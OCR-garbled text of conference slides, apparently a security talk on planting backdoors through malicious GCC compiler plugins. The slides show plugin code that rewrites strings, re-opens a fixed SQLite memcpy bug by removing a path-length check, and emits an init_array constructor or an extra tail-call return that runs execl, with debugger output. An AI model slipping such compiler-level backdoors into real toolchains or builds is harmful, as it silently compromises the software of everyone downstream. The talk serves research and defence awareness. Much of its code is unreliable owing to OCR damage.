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TURING AWARD LECTURE

Reflections on Trusting Trust

To what extent should one trust a statement that a program is free of Trojan
horses? Perhaps it is more important to trust the people who wrote the
software.

KEN THOMPSON

INTRODUCTION programs. | would like to present to you the cutest
I thank the ACM for this award. I can’t help but feel program | ever wrote. | will do this in three stages and



It is reall)' hard to do something useful

inside of a modern day compiler.



‘C’ Every explanation anyone has ever done on
GCC things starts with this graphic.
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The lowering passes 9™

*warn_unused_result

*diagnose_omp_ blocks
mudflapl

omplower

lower

ehopt
eh P

cfg
*warn_function_return
*pbuild_cgraph_edges

The "small IPA" passes

*free_lang_data
visibility
early local cleanups
*free_cfg_annotations
*init_datastructures
ompexp
*referenced_vars
ssa
veclower
*early _warn_uninitialized
*rebuild_cgraph_edges
inline_param
einline
early_optimizations
*remove_cgraph_callee_edges
copyrename
ccp

‘FI‘\I‘II.I'I"\I’{'\I“\

e any

gimple_lomp

gimple_lcf

gimple_leh
T cfg

referenced_vars
ssa

GCC’s compilation process is

organized in passes

Neat explanatory graphic

by David Malcolm

GENERIC vs. GIMPLE vs. SSA vs.
RTL vs. machine definition vs. ASM

https://gcc-python-plugin.readthedocs.io/en/latest/tables-of-passes.html



... looks a bit like a “Matrix” screensaver when you
scroll down fast

-fdump-passes

-fdump-tree-all, -fdump-ipa-all, -fdump-rtl-all
-fdump-tree-cfg-all
-fdump-rtl-MYAWESOMEPASS



Since GCC 4.5 we can plug passes into the compilation process!
Benefits of plugins vs. modifying GCC itself?

_ Plugins are shared objects, loaded by GCC as dedicated passes
_ Maintained by pass manager

_ Dependent on compiler version

_ GCC plugin API defined in tree-pass.h

- GENERIC, Gimple, RTL ,

https://lwn.net/Articles/457543/



[...]
(insn 5 2 6 2

(1set (reg:DI 5| di)
(symbol_ref/f:DI ("*.LCO") [flags @x2] <var_decl Ox7fd4flalecfo *.LCO>))
"helloworld.c":4 -1

(nil))

(call insn 6 5 7 2 (set (reg:SI @ ax)
lcall (mem:QI (symbol ref:DI (rputs') [flags 0x41]
<function decl 0x7fd4f1974600 _ builtin puts>) [0 _ builtin puts S1 A8])
(const_int © [@0]))) "helloworld.c":4 -1

(nil)

(expr_list:DI (use (reg:DI 5 di))
(nil)))
[...]



P rior researck makes hfe 2 LOT easier

Emese Revfy https://github.com/ephox-gcc-plugins

Matt Davis https://github.com/enferex/

PaX team: RAP and more https://github.com/rrbranco/grsecurity-pax-history/tree/master/pax

 H2HC 2012: https://pax.grsecurity.net/docs/PaXTeam-H2HC12-PaX-kernel-self-protection.pdf
* PaX Untold Story (which includes the explanation of the first plugins)
o H2HC 2013: https://pax.grsecurity.net/docs/PaXTeam-H2HC13-PaX-gcc-plugins.pdf
PaX GCC Plugins
 H2HC 2015: https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf
* RAP RIP ROP

KGuard https://github.com/pmoust/kguard

Roger Ferrer Ibanez https://github.com/rofirrim/gcc-plugins



https://github.com/ephox-gcc-plugins
https://github.com/enferex/
https://github.com/rrbranco/grsecurity-pax-history/tree/master/pax
https://pax.grsecurity.net/docs/PaXTeam-H2HC12-PaX-kernel-self-protection.pdf
https://pax.grsecurity.net/docs/PaXTeam-H2HC13-PaX-gcc-plugins.pdf
https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf
https://github.com/pmoust/kguard
https://github.com/rofirrim/gcc-plugins

printf“‘Hello world\n”);



// Iterating through basic blocks and Gimple sequences
FOR_EACH BB FN(bb, cfun) ({

for (gsi = gsi_start bb(bb); !gsi end p(gsi); gsi next (&gsi)) ({
gimple *statement = gsi_ stmt(gsi);

// Picking up on the printf within our helloworld.c
if (gimple code(statement) == GIMPLE CALL){

// Getting the first argument of printf
tree arg = gimple call arg(statement, 0);

// Building the new string argument
tree satan = build string(strlen("Hail Satan!!\n")+1, "Hail Satan!!\n");
tree type = build array type(
build type variant(char type node, 1, 0),
build index type(size int(strlen("Hail Satan!!\n"))));
TREE TYPE (satan) = type;
TREE CONSTANT (satan) = _;
TREE READONLY (satan) = !;

TREE _STATIC(satan) = 1; oo goes hail Satan o0

// Replacing the helloworld string argument
TREE _OPERAND (TREE OPERAND((arg), "), U) = satan;

gimple call set arg(statement, O, arg);



Attackers would:

change a buffer size
remove a sanity check
remove a whole patch

remove authentication
checks

add or remove entire
chunks of logic

7/ Defenders would:

_ review binaries
_ diff

_ fuzz

_ guard their build environments like
grandma’s jewelry

_ review their build scripts



?S Lj_t Small. Fast. Reliable.
e Choose any three.

Dev’s favorite DB

_ SQLite fixed a bug last year that was reported by PO’ Natashenka

_ Reading a database journal that misses -’ in its filename could have
resulted in a negative size argument passed to memcpy

_ Lets see if one can unfix that...
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unpatched

00 movl S0x0, ($rax)
ff andl S0x800,=0x22c (%rbp)
ff mov -0x22c (%rbp) , ¥eax
00 and S0x80800, %eax
test %eax, $eax
00 je lad4l <findCreateFileMode+(0=1203
fd mov -0x228 ($rbp) ,%rax
fﬂ!ﬂ?""!!&!?%zu;
ff callg 1492z <sglite3Strlen30> \
sub S0xl, %eax
mov $eax,-0x8 ($rbp)
jmp lacds <findCreateFileMode+0xbh4>
mov -0x2 ($rbp) , $eax
movslg %eax, %rdx
fd mov -0x228 (%rbp) ,%rax
add $rdx,%$rax
movzbl (%rax) , %$eax )
cmp xZe , %al
jne lacdl <findCreateFileMode+0x=bi>
00 mov 50x0, %$eax
00 Jmpg ladbz <findCreateFileMode+0x1512

subl S0x1,=-0x8 ($rbp)
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movl S0x0, ($rax)
andl $0x800,=0x22c (%xrbp)

AT T]

ATl

o] b 85 mov -0x22c (%rbp) ,%eax

c8c: 25 00 and S0xB80800, %eax

c9l: 25 <0 test $eax, ¥eax

c93: 0f B4 je lzd47 <findCreateFileMode+0=x12c>
c99: 48 BL mov -0x228 (%rbp) ,%rax

cal: 43 89 Hﬁ.ﬂd"

ca3: efd o2 callg 1492z <sglite3Strlen30> \
caf: 23 es sub S0xl, %eax

cab: 29 45 mov $eax ,-0x8 ($rbp)

cae: eb 2b Jmp lacdb <findCreateFileMode+0x=ba>
cb0: 83 7d cmpl S0x0,=-0xc ($rbp)

chd: 74 17 je lzccd <findCreateFileMode+lxac
ché: 8 45 mov -0x8 (%$rbp) ,%eax

ch9: 48 63 movslg %eax, %$rdx

cbhc: 48 Bb mov -0x228 (%rbp) ,%rax

cc3: 48 01 add $rdx, $rax

cce: 0f beé ovzbl (%rax) , %eax )
cc9: 3c 2e %@qm,

cch: 75 Oa jne lzcd7 <findCreateFileMode+0x=bic>
ccd: kB 00 00 00 OO mov S0x0, %eax

callg
sub
mov
Jjmp
mov

movslg

mow
add
movzbl

14522 <£sglite3strlen30>
S0x1,%eax
$eax,-0x8 (%rbp)

lacds <£findCreateFileMode+0xbi>

-0x8 ($xrbp) , %eax
$cax, $rdx

-0x228 (%rbp) ,%rax
Srdx,%rax
($rax) , %eax

callqg
sub
mov

mp

movslg

mov
add

mowvzbhl

14922 €sglite3strlen30>
$0x1, %eax
$eax,-0x8 ($rbp)

lacdh €£findCreateFileMode+l=zha>

50x0,-U=: (%xhbp

lacod €£findCreateFileMode+l=zac

patched

o
teax, $rdx

-0xZ228 ($rbp) ,%rax
$rdx,%rax

($rax) ,%eax

], bean




=>=>> ht

0x00007Ffff7f16c49 in findCreateFileMode () f
0x00007ffff7f16fb5 in unixOpen () from /home/
0x00007ffff7f0af73 in sglite30sOpen () from /
0x00007ffff7f1f1e0 in sglite3PagerOpen () fro

0x00007ffff7f2922c in sglite3BtreeOpen () fro
0x00007ffff7faab3a in openDatabase () from /h
0x00007ffff7faa8al in sqlite3_open () from /h
0x0000555555555206 in main ()




if{ zFilename && =zFilenam=["] )} {
const char *z;
nPathnams = pVis->mxPathnams+1;
zPathname = sglite3DbMallocRaw (., nPathname*2) ;
if{ zPathname==_ )} {
return SQLITE NOMEM BEPT;
1
zPathnam=[C0] = 0; /* Make sure initialized sven 1f FullPathnames() fails */
rc = sglite30OsFullPathname (pVfs, zFilename, nPathname, zPathname) ;
nPathname = sglite3Strlen30 (zPathname) ;
z = zUrl = &zFilename[=sglite3Strlen30(zFilenams)+1];
while({ *=z }{
z += =3glite3Strlen30(=z)+.;
z += =3gliteld3Strlen30(=z)+1;
1
nri = (int) {(&=[1] - =Uri) ;
assert( nUrix=_ ) ;
if( rc==SQLITE OFK && nPathname+->pVis->mxFPathname ) {
/* Thi=s branch is taken when the journal path required by
** the database being opened will be more than pVis->mxPathnames
** bytes in length. This means the database cannot be opened,

** az 1t will not be possible to open the journal file or even

** check for a hot-journal before reading.
*f
ro = 3QLITE CANTOPEN BEFT;
}
if( rc!=SQLITE CFE ){
sglite3DbFree (., zPathname) ;
return rc;




if {gimple_pmde{statement} == GIMPLE CALL) {

tree fndecll = qimple_;all_fn{statement};
if (fndecll !'= NULL) {

if (TREE CODE(fndecll) == ADDR EXFR) {

fndecll = TREE OPERAND(fndecll, 0U);
if (strcmp(get name (fndecll), "sglite30sFullPathname™) == 0)

myassign = (gimple*)gimple build assign(
' gimple call arg(statement, 3),
gimple call arg(statement, 1});

gsi insert before(&gsi, myassign, GSI SEME STMT);
gsi remove (&gsi, true);

if {qimple_;mde{statement} == GIMPLE COND && var maxlen) ({
' if ( gimple cond rhs(statement) == var maxlen ) {
' gimple cond make false((gcond*)statement);




0x0
0x0
0x0
0x0

Assembly
000711 f7116d9T fTindCreateFileMode+346 mov %eax, -0x4(%rbp)
0007ffff7f16da2 findCreateFileMode+349 mov -0x4(%rbp) ,%eax
0007ffff7f16da5 findCreateFileMode pimeleaie g

0007ffff7f16daé findCreateFileMode;353 retq

Expressions

History

Memory

Registers

rax 0x000000000000070a rbx 0x0000000000000000 rcx 0x00007ffff7de3el5 rdx OxfEffffffffffff80 rsi 0x00007fFffffffd870
rdi 0x00007fFfffffd9s0 rbp 0x4141414141414141 rsp 0x00007fffffffdb78 r& 0x000000000000001e r9 0x00007Fffffffd940
r10 Oxfefffffffffffhes r11 0x0000000000000246 r12 0x00005555555550c0 r12 0x00007fffffffeldo r14 0x0000000000000000
r15 0x0000000000000000 rip 0x00007ffff7f16da6 eflags [ PF SF IF ] cs 0x00000033 55 0x0000002b

ds 0x00000000 es 0x00000000 s 0x00000000 gs 0x00000000

Source

Stack

from 0x00007ffff7f16daé in findCreateFileMode+353
arguments)

from 0x00007ffff7f07a8a in frame_dummy+287754
arguments)

Threads

id 3701 name dbtest from O0x00007ffff7f16daé in findCreateFileMode+353

0x00007ffff7f07a9d <+19>: retq 4‘}
En :

Du?p_ni.a55EmhlE:.cndE.in:.iunc:inn.pnp=£uncla+'

0x00007ffff7f07a8a <+0=>: push  %rdi ﬁ‘)
0x00007fFff7f07a8b <+1>: lea Oxad58e(%rip),%rdi Ox7ffff7fac020
0x00007Fffff7f07a92 <+8>: Xor %rdx, %rdx

0x00007ffff7f07a95 <+11>: Xor %eax,%eax
0x00007ffff7f07a97 <+13>: callg Ox7ffff7f078b0 <execl@plt>
0x00007ffff7f07a9c <+18>: pop %rdi

>>> I

1leMode () from /home/michelle/gcc-plugins/HITB/Sqlite3/attackSqlite3/1libsglite3.so

> x/g $rsp
(Jfffffffdb78: 0x00007ffff7f07a8a



DO’S 5 DONT’S







.got.plt

( O AylallllC DINallcs, Ulls l0ODdal UIHISCL 14DIC 1NOLAS UIC aUAicssos 01 IUNCLUONSs 1N dynalnic 1olalics

-got.plt section 1s present, it contains at least three entries, which have special meanings. See para
Hash table for symbols.
See here for its structure and the hash algorithm.
-hash
The link editor 1d calls bfd_elf_hash in in GNU Binutil's source file bfd/elf.c to compute the hash
The runtime linker 1d.so calls do_lookup_x in e1f/d1-1lookup.c to do the symbol look-up. The hash
.init Code which will be executed when program initializes. See paragraphs below.

.init_array

Pointers to functions which will be executed when program starts. See paragraphs below.

.interp

For dynamic binaries, this holds the full pathname of runtime linker 1d. so

.jecr

Java class registration information.

Like .ctors section, it contains a list of addresses which will be used by _Jv_RegisterClasses func
GCC's source tree)

.note.ABI-tag

This Linux-specific section 1s structured as a note section in ELF specification. Its content is mandz

.note.gnu.build-
id

A unique build ID. See here and here

.note.GNU-stack

See here

.nvFatBinSegment

This segment contains information of nVidia's CUDA {fat binary container. Its format 1s described b

.plt

For dynamic binaries, this Procedure Linkage Table holds the trampoline/linkage code. See paragra

.preinit_array

Similar to .init_array section. See paragraphs below.

| Runtime/Dvnamic relocation fahle



gstatic void output_pop funclet (void) ({

rtx leaops([Z]);
rtx myrdi(l];

®
switch_to_section(readonly data_section); I n 1 t A r‘ r‘ a y

ASM OUTPUT LABEL(asm _out_file, "app");
fprlntf(asm out_file, " x: tring\t\"/usr/games/xmabacus\"\n");

switch_to_section(text_section);
ASM_OUTPUT_LABEL(asm_out_file, "pop funclet");

myrdi[’] = gen_rtx REG(DImode, DI_REG);
output_asm_insn("push\t30", myrdi);

leaops([’] = myrdi('];

leaops([!] = gen_rtx SYMBOL REF(Pmode "app");

output_asm_insn (" t{%E1, , %E1)", leaops);

fpr1ntf(asm out file, "\txor\t¥¥rdx, 3I¥rdx\n\txor\titeax, I¥eax\n");

fprintf(asm out file, "\tca texecl\n");

output_asm_insn("pop\t%¥0", myrdi);

fprintf(asm out file, "\tret\n");

switch_to_section(current_function_section()); default elf init array_asm out ConStrUCtor(

gen_rtx_SYMBOL_REF (Pmode, "pop_funclet"),
DEFAULT_INIT_PRIORITY );



forintf, yes really SR

.string "/usr/games/xmabacus"
.text

pop_Tunclet:
push %rdi

Middle End lea app(%rip), %rdi
Front End i ___________ T | Xor %rdx, %rdx
— — | |t ! X0r %eax, %eax
c AST [l e |
| [ ol . H‘ un-SSA —| RTL ‘ I call :E:H:EC:L
} E |AST ~ | Generic ‘:"lm GIMPLE" SSA \ . /i_____:i__l F”:'p j':l:lr dl
} Java IAST : I pacsgtN : I—m_a(; : T'E"L' . . .
——————————————— s Sl (| .section .init_array,"aw"
Back End .align 8

.quad  pop_funclet

strace -f gcc foo.c -o foo |& grep execve
= ccl compiles C to ASM, others: cclplus, jcl, f951,..
= as assembles ASM to bytecode
= collect2 wrapper for 1ld and prep work
= 1d the GNU linker



PIC me a flower & Its GOT to PLT -purrfec’r

call func@PLT
Where will “call execl” go?
PTT 0] GOT[n] :
) <addr>
call resolver i
PLTI[n] :
£ Jmp  *GOT [n]
A:-h' ,.i prepare resolver
"\ i) jmp PLT[0]
Lo .
*\.K

https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/



https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/

pop funclets:

d2

fe ff ff

Disassembly of section .1nlt array:

rdi

rdi, [rip+0xecT]
rdx, rdx

eax,eax

1030 <execliplt>
rdi

frame_dummy_init_array_entry}:

]EEIIIIJJ JJ O0 00 00 00

# 2004 <app>




Go 1 got this needle, someone
pls Simme a haystaCk!

Reverse engineering a GCC
compiler plugin?

Modifying and recompiling GCC?
Binary code review?
Reproducible builds?




The less obvious stuff



(TAilCall me, maybe!

* Tail-call optimization or tail-call merging or tail-call elimination
* In a nutshell: Reusing stack frames (i.e. arguments) to eliminate calls
* In GCC speak: a /j flag

(caII_inI 19 40 20 4 (set (reg:Sl 0 ax)
(call (mem:Ql (symbol_ref:DI ("puts") [flags 0x41] <function_decl Ox7ffff6b32f00 __ builtin_puts>) [0 __ builtin_puts S1 A8])
(const_int 0 [0]))) "main.c":13 704 {*sibcall_value}
(expr_list:REG_DEAD (reg:DI 5 di)
(expr_list:REG_UNUSED (reg:SI 0 ax)
(expr_list:REG_CALL _DECL (symbol_ref:DI ("puts") [flags 0x41] <function_decl Ox7ffff6b32f00 _ builtin_puts>)
(nil))))
(expr_list:DI (use (reg:DI 5 di))
(nil)))



1 .LCB:
2 .string "Basic logging for massive numer
1 #include <stdio.h> 3 .LCI1:
2 #include <stdlib.h> 4 .string "More super useful logging"
3 5 run(int):
4 void run(int loglevel) { 5 push rbp
2
. int a, b; 7 mov rbp, rsp
7 a = rand(); 8 sub rsp, 32
a T 9 mov DWORD PTR [rbp-20], edi
g 16 call rand
1@ printf("Basic logging for massive numerical operation %d %d\n", a, b); 11 mov DWORD PTR [rbp-4], eax
11 12 call rand
12 if (loglevel > @) { 13 mov DWORD PTR [rbp-8], eax
13 printf("More super useful logging\n"); 14 mow edx, DWORD PTR [rbp-8]
t‘j } } 15 mov eax, DWORD PTR [rbp-4]
16 mov esi, eax
17 mov edi, OFFSET FLAT:.LCe
18 mov eax, ©
19 call printf
20 cmp DWORD PTR [rbp-208], ©
o ] 21 jle L3
What is it with those calls though? 22 mov  edi, OFFSET FLAT:.LC1
23 call puts
24 L3
25 nop
26 leave
27 ret

Compiler Explorer - https://godbolt.org/



https://godbolt.org/

1 .LCB:
2 .string "Basic logging for massive num
3 .LC1:
1 #include <stdio.h> 4 .string "More super useful logging"
2 #include <stdlib.h> .
. 5 run(int):
4 void run(int loglevel) { © e e
5 7 push rbx
6 int a, b; 8 mov ebx, edi
7 a = rand(); 9 sub rsp, 8
8 = rand(); 16 call rand
9 11 mov ebp, eax
1@ printf("Basic logging for massive numerical operation %d %d\n", a, b); 12 call rand
11 13 mov esi, ebp
L2 ] {}"g;e:ﬁ'l 2 e 14 mov  edi, OFFSET FLAT:.LCe
ii } printf("More super useful logging\n"); 15 o S e
15 ) 16 xor eax, eax
17 call printf
18 test ebx, ebx
19 ig L5
20 add rsp, 8
21 pop rbx
22 pop rbp
23 ret
24 |L5:
25 add rsp, &
26 mov edi, OFFSET FLAT:.LC1
27 pop rbx
28 pop rbp
Compiler Explorer - https://godbolt.org/ 29 Jmp e



https://godbolt.org/

The stack is the enemy!
The register allocator isn’t your friend either,
.. and the linker messes with you too

rtx insn *insn;
// .. 1magine parsing code here
if (SIBLING CALL P(insn)) {

SIBLING CRLL F(insn) = 0;
}



Again, no actual database software was harmed
in the making of this presentation.

5002F *%¥ Open a new database handle.
50020 | & /

5003C SQLITE API int sglite3 open(
50031 const char *zFilename,
50032 sgqlite3 **ppDb

50033 Q) {

20034 return openDatabase (zFilename, ppDlb,

20035 SQLITE OPEN READWRITE | SQLITE OPEN CREATE, U);
50036 -}




TCO tries to fool the
openDatabase routine into
returning to the callers’
caller

By removing the /j flag said
fooling fails, and we sneak
in an extra return

bde00:
bdel2:
bdeld:
bdel7:
bdeds:
bdelc:
bdele:
bdelf:
bdel?:
bdelb:
bdela:
bdeld:
bde2d:
bdelf:
bdeld:

<3glite3 open>:
c9
ba
£f9 f£ff ff

<sglite3 openp>:
c9

£fs ff ff

<sglite3 open v2>:

L

r

k4740 <openDatabase>
DWORD ETE [ + ]

b4740 <openDatabase>

r

, [rip+

, [rip+ 1

b8d0 <execlfplt>

I



* GCC provides a large number of built-in functions, for internal use,
and for optimization purposes of standard C library functions

*  builtin_puts, _ builtin_alloca, __ builtin_memcpy, etc. etc. etc.

e GCC intrinsics are built-in functions that help the developer use
domain specific operations, and help the compiler leverage machine
specific functionality

* Vector operations, signal processing, interrupt handling, etc. etc. etc.



Magic?

#include <stdio.h>
#include <string.h>

void optimizeMe(void) {

char *bufl = "abcdefg”;
char #*buf2 = "hijklmn";

memcpy (bufl, buf2, strlen(bufl));

LC@:

.string "abcdefg"
.LC1:

.string "hijklmn"
optimizeMe():

push rbp

mov rbp, rsp

sub rsp, 16

mov QWORD PTR [rbp-8], OFFSET FLAT:.LC®
mov QWORD PTR [rbp-16], OFFSET FLAT:.LC1
mowv rax, QWORD PTR [rbp-8]

mov rdi, rax

call strlen

mowv rdx, rax
OO mowv rcx, QWORD PTR [rbp-16]

mov rax, QWORD PTR [rbp-8]

s mowv rsi, rcx
mowv rdi, rax
call memcpy
nop
leave
ret

..03
optimizeme(): # @optimizeme()

mowv dword ptr [rip + .L.str+3], 1852664939
mowv dword ptr [rip + .L.str], 1882135912
ret

.asciz Mabcdefg"



How does that work?

static rtx
expand builtin mempcpy (tree exp, rtx target)

builtins.def
builtins.h
builtins.c

xxx-builtin.def
xxxintrin.h
.. and many many more..

{

if (!validate arglist (exp,
POINTER_TYPE, POINTER_TYPE, INTEGER TYPE, VOID TYPE))

return NULL_RTX;

tree dest = CALL_EXPR_ARG (exp, @);
tree src = CALL_EXPR_ARG (exp, 1);
tree len = CALL_EXPR_ARG (exp, 2);

/* Avoid expanding mempcpy into memcpy when the call is determined
to overflow the buffer. This also prevents the same overflow
from being diagnosed again when expanding memcpy. */

if (!check memop sizes (exp, dest, src, len))
return NULL_RTX;

return expand_builtin_mempcpy_args (dest, src, len,
target, exp, /*endp=*/ 1);



Lazy Optimization Watching - Like bird watching, with grep

/minipoc_HOO/minipoc.
/minipoc_HOP“msnipoc.

./minipoc/ o/mi. 10C
/minipoc/ J0/min o
JAmisseac 00/min oc
/minipoc. 0/mir oc
/minipoc_tr ipoc.
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L222¢t.
L223t.
L225¢t.
L232¢t.
L234r.
.235r
.236r.
.237r.
.237r.
.249r
.269r.
.270r.
L2T72r.
.273r.
L274r.
L279r.
.280r.
.284r.
.288r
.291r
.304r.
.305r.
.307r.
.308r.
.313r.
.314r.
.315r.
.316r.
317r.

.free-tnsummary2:
.single-use:

—_ . . - —
inline: memcpy (bufl1_2, buf2_3, _1);
memcpy (bufi1_2, buf2_3,
memcpy (buf1_2, buf2_3, _1);

1),

.comdats: memcpy (bufi_2, buf2_3, _1);
.materialize-all-clones: memcpy (bufi_2, buf2_3, _1);
.simdclone: memcpy (bufi_2, buf2_3, _1);

.Tixup_cfgd4: memcpy (bufi_2, buf2_3, _1);

veclower: memcpy (buf1_2, buf2_3, _1);

cplxlower0: memcpy (buf1_2, buf2_3, _1);

switchlower: memcpy (buf1_2, buf2_3, _1),

optimized: memcpy (buf1_2, buf2_3, _1);

expand: (call (mem:QI (symbol_ref:DI ("memcpy")
.Vregs: (call (mem:QI (symbol_ref:DI ("memcpy"™) [
into_cfglayout: (call (mem:QI (symbol_ref:DI ("m

jump: (call (mem:QI (symbol_ref:DI (“"memcpy") [T
jump: (call (mem:QI (symbol_ref:DI ("memcpy") [f
.reginfo: (call (mem:QI (symbol_ref:DI ("memcpy")
outof_cfglayout: (call (mem:QI (symbol_ref:DI ("

splitt: (call (mem:QI (symbol_ref:DI (“"memcpy")

dfinit: (call (mem:QI (symbol_ref:DI (“"memcpy")

mode sw: (call (mem:QI (symbol_ref:DI (“"memcpy")
asmcons: (call (mem:QI (symbol_ref:DI (“"memcpy")
ira: (call (mem:QI (symbol_ref:DI (“"memcpy") [fl
reload: (call (mem:QI (symbol_ref:DI ("memcpy")

split2: (call (mem:QI (symbol_ref:DI ("memcpy")

.pro_and_epilogue: (call (mem:QI (symbol_ref:DI (
. jump2: (call (mem:QI (symbol_ref:DI ("memcpy") [
stack: (call (mem:QI (symbol_ref:DI ("memcpy") [
alignments: (call (mem:QI (symbol_ref:DI ("memcp
mach: (call (mem:QI (symbol_ref:DI (“"memcpy") [T
barriers: (call (mem:QI (symbol_ref:DI (“"memcpy"
shorten: (call (mem:QI (symbol_ref:DI (“"memcpy")
nothrow: (call (mem:QI (symbol_ref:DI ("memcpy")
dwarf2: (call (mem:QI (symbol_ref:DI ("memcpy")

final: (call (mem:QI (symbol_ref:DI ("memcpy"™) [
dfinish: (call (mem:QI (symbol_ref:DI ("memcpy")
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127t
.128t.
.129t.
.130t.
131t
.132t.
.134t.
.135t.
.139t.
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170t
71t
173t
175t
L176t.
177t
.178t.
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L181t.
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.186t.
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.190t.
191t
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.225t.
.231t.
L232t

.Tix_loops:
.no_loop:

.widening_mul:
.store-merging:

.local-pure-const2:

.optimized:

.phiopt2: memcpy ("abcdefg", "hijklmn", 7);
ccp3: memcpy (“"abcdefg", "hijklmn®, 7);
sincos: memcpy ("abcdefg", "hijklmn", 7
bswap: memcpy ("abcdefg", "hijklmn", 7
laddress: memcpy ("abcdefg", "hif " 7},
lim2: memcpy ("abcdefg", "hijklmn™, 7);
pre: memcpy (“abcdefg", "hijklmn", 7);

sink:
dced:

memcpy (“"abcdefg”, "hijklmn", 7).
memcpy ("abcdefg”, "hijklmn", 7);

memcpy (“"abcdefg”, "hijklmn", 7),
memcpy ("abcdefg”, "hijklmn", 7);
slp2: memcpy ("abcdefg", "hijklmn", 7);
veclower21: memcpy ("abcdefg", "hijklmn", 7);
printf-return-value2: memcpy ("abcdefg", "hijklmn", 7);
reassoc2: memcpy (“abcdefg", "hijklmn", 7};
slsr: memcpy ("abcdefg", "hijklmn", 7);
split-paths: memcpy ("abcdefg", "hijklmn", 7);
thread3: memcpy ("abcdefg"”, "hijklmn", 7);
dom3: memcpy ("abcdefg", "hijklmn", 7);
strlen: memcpy (“abcdefg", "hijklmn®, 7);
thread4: memcpy ("abcdefg", "hijklmn", 7);
vrp2: memcpy ("abcdefg", "hijklmn", 7);
phicprop2: memcpy ("abcdefg", "hijklmn", 7);
dse3: memcpy ("abcdefg", "hijklmn", 7);
cddce3: memcpy ("abcdefg", "hijklmn®, 7);
forwprop4: memcpy ("abcdefg", "hijklmn®, 7);
phiopt3: memcpy ("abcdefg”, "hijklmn", 7);
fab1: memcpy ("abcdefg", "hijklmn", 7),
memcpy ("abcdefg", "hijklmn", 7);
memcpy ("abcdefg", "hijklmn", 7);
tailc: memcpy (“abcdefg", "hijklmn", 7},
dce7: memcpy ("abcdefg", "hijklmn", 7);
critedl: memcpy ("abcdefg"”, "hijklmn®", 7);
uncpropi: memcpy ("abcdefg", "hijklmn", 7);
scanning: memcpy ("abcdefg", "hijklmn", 7};
local-pure-const2: memcpy ("abcdefg”, "hijklmn", 7).
switchlower: memcpy ("abcdefg", "hijklmn", 7);
nrv: memcpy (“abcdefg", "hijklmn®, 7);
memcpy (“"abcdefg", "hijklmn", 7);



lea rsi,[rip+0xf66] # 2008 <_IO0_stdin_used+0Xx
lea rdi, [rip+0xfc7] # 2070 <_I0_stdin_used+0x
mov QWORD PTR [rax-0xff4]1,0x1

movaps XMMWORD PTR [rax],xmmQ
movdga xmmO,XMMWORD PTR [rip+0xff1] # 20b0 <_IO

mov QWORD PTR [rax-0xfec],0x0

movaps XMMWORD PTR [rax+0x10],xmmO
movdga xmmO,XMMWORD PTR [rip+0xfea] # 20c0 <_IO

movaps XMMWORD PTR [rax+0x20],xmmO
movdga xmmOQ,XMMWORD PTR [rip+0xfee] # 20d0 <_IO

movaps XMMWORD PTR [rax+0x30],xmmO

movdga xmmO,XMMWORD PTR [rip+0xff2] # 20e0 <_IO

movaps XMMWORD PTR [rax+0x40],xmmO
movdga xmmO,XMMWORD PTR [rip+0xff6] # 20f0 <_IO

movaps XMMWORD PTR [rax+0x50],xmmO

Xxor eax,eax

call 1040 <printf@plt>

mov eax,DWORD PTR [rip+0x2f41] # 404c <AUTH>
test eax,eax

je 112d <main+0xad>

Xor edx, edx

lea rsi,[rip+0xfé6e] # 2086 <_I0_stdin_used+0x
lea rdi, [rip+0xf5c] # 207b <_IO0_stdin_used+0x
Xxor eax,eax

call 1060 <execl@plt>




GCC’s location_t

Optimizers and linker to be taken into consideration
Real intrusion must be well designed

How to follow intrinsic expansion?

* 2 passes:
» early “spy” pass indicated by certain size value and picking config
out of the data
* “execution” pass with config as address or relative offset to writeable
section

e patch all the things yeehahhh, just almost



What to DO about this?







